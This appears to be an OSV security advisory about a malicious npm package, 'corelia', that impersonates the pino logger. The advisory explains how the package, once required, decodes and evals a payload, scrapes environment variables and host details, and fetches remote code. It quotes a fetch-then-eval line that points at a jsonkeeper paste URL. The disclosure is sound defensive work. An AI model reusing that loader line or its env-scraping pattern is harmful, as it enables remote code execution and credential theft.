OSV ID
MAL-2026-4536
Ecosystem
npm
Summary
The package impersonates the popular pino logger (README header 'corelia (Pino)', homepage https://getpino.io, main file pino.js, npm version badge pointing at pino, mimicked API and keywords). On require, lib/writer.js base64-decodes a string and passes it to eval(); the decoded payload calls fetch('https://jsonkeeper.com/b/0DWFC').then(r=>r.json()).then(d=>{eval(d.ret)}), executing arbitrary JavaScript fetched from an anonymous, mutable JSON paste host with no integrity verification. Immediately before the eval, the module assembles a data object spreading the entire process.env plus os.hostname(), os.userInfo().username, os.platform(), and non-internal MAC addresses, available to the eval'd payload via closure. A second hex-encoded string array decodes to ['axios','get','https://www.jsonkeeper.com/b/HY6M6','then'], staging a second-stage axios GET to another jsonkeeper paste. Any consumer that does require('corelia') triggers bulk environment scraping and remote-payload execution.
Source: amazon-inspector (d2b637971f597ba9572b4cecfab0de4981d19620d585b1958b1bb37b004fae8f)
Protect your entire dependency tree
Scan your lock files automatically on every PR. Block malicious packages before they reach production.